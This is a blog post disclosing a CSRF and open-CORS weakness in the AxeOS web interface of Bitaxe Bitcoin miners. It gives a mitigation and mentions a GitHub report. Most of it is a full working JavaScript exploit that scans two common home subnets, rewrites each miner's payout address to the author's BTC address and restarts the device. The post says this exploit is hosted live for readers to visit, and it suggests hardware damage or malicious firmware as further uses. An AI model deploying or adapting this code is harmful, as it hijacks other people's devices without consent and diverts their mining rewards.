AxeOS CSRF Vulnerability

Using CSRF Attack to update the Payout Address on BitAxe Bitcoin Miners

I recently purchased the Bitaxe Gamma Bitcoin Miner “Black Edition” from the TheSoloMiningCo. Bitaxe is a fully open source Bitcoin ASIC miner aimed at decentralizing mining. I bought this little inexpensive miner to learn more about mining, and experiment with Stratum, Datum and the Ocean Mining Pool. At the moment I have pointed my BitAxe at the Public Pool which is a solo mining pool which, although infinitesimal, gives me a change of mining a BLock and obtaining the full block reward.

Anyway, whilst configuring the miner via the web interface I noticed the settings form has no form of authentication or apparent CSRF protections.

The BitAxe has a wireless adapter and will typically be run on users LAN or Home network. This means any user on the same network that visits a website hosting the CSRF code will inadvertently update settings on their Bitaxe to values controlled by an attacker. These settings include the Stratum user which contains the BTC address any payouts are sent to.

I have crated a proof of concept which is hosted on http://poc.snotra.cloud:8888/bitaxe.html. with the following code

<html>
   <body>
     <script>

             for (let c = 0; c <= 255; c++) {
                     const ip = `192.168.1.${c}`;
                     var xhr = new XMLHttpRequest();
                     xhr.open("PATCH", "http:\/\/"+`${ip}`+"\/api\/system", true);
                     xhr.setRequestHeader("Accept", "application\/json, text\/plain, *\/*");
                     xhr.setRequestHeader("Content-Type", "application\/json");
                     var body = "{\"stratumUser\":\"bc1qhztuw3zmjuseqda9w600fcvany55deky26krer.csrf\",\"fallbackStratumUser\":\"bc1qhztuw3zmjuseqda9w600fcvany55deky26krer.csrf\"}";
                     var aBody = new Uint8Array(body.length);
                     for (var i = 0; i < aBody.length; i++)
                       aBody[i] = body.charCodeAt(i);
                     xhr.send(new Blob([aBody]));

                     var xhr = new XMLHttpRequest();
                     xhr.open("POST", "http:\/\/"+`${ip}`+"\/api\/system\/restart", true);
                     xhr.setRequestHeader("Accept", "application\/json, text\/plain, *\/*");
                     xhr.setRequestHeader("Content-Type", "application\/json");
                     var body = "{}";
                     xhr.send();
                 }

             for (let c = 0; c <= 255; c++) {
                     const ip = `192.168.0.${c}`;
                     var xhr = new XMLHttpRequest();
                     xhr.open("PATCH", "http:\/\/"+`${ip}`+"\/api\/system", true);
                     xhr.setRequestHeader("Accept", "application\/json, text\/plain, *\/*");
                     xhr.setRequestHeader("Content-Type", "application\/json");
                     var body = "{\"stratumUser\":\"bc1qhztuw3zmjuseqda9w600fcvany55deky26krer.csrf\",\"fallbackStratumUser\":\"bc1qhztuw3zmjuseqda9w600fcvany55deky26krer.csrf\"}";
                     var aBody = new Uint8Array(body.length);
                     for (var i = 0; i < aBody.length; i++)
                       aBody[i] = body.charCodeAt(i);
                     xhr.send(new Blob([aBody]));

                     var xhr = new XMLHttpRequest();
                     xhr.open("POST", "http:\/\/"+`${ip}`+"\/api\/system\/restart", true);
                     xhr.setRequestHeader("Accept", "application\/json, text\/plain, *\/*");
                     xhr.setRequestHeader("Content-Type", "application\/json");
                     var body = "{}";
                     xhr.send();
                 }
     </script>
     <h1>Bitaxe CSRF POC</h1>
   </body>
 </html>

If you have a BitAxe that is connected to your LAN in either the 192.168.1.0/24 or 192.168.0.1/24 range visiting the above site will result in your Bitaxe restarting and the Stratum username being updated to "bc1qhztuw3zmjuseqda9w600fcvany55deky26krer.csrf". Thereafter any rewards you might get for mining will be paid to my BTC address.

All fields of the settings page are affected, it would also be possible to change the frequency and voltage settings for example and potentially damage the hardware or even upload malicious firmware perhaps (not tested).

Additionally, the web server sets the following CORS headers

Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: GET, POST, PUT, PATCH, DELETE, OPTIONS
Access-Control-Allow-Headers: Content-Type

This means an attacker can also read values from the API and exfiltrate them to an external server. Although a quick look over the API didn't turn up any sensitive information that would be cause a signifiant impact if stolen.

To mitigate this, in lieu of a fix and website update, you could stick your BitAxe on a guest network segmented from other devices on which you usually do browsing and would encounter an active exploit attempt.

I have reported the issue on GiHub and am awaiting a response.

Despite this, I do highly recommend you purchase one of these cool little miners, especially the "Black Edition" from TheSoloMiningCo.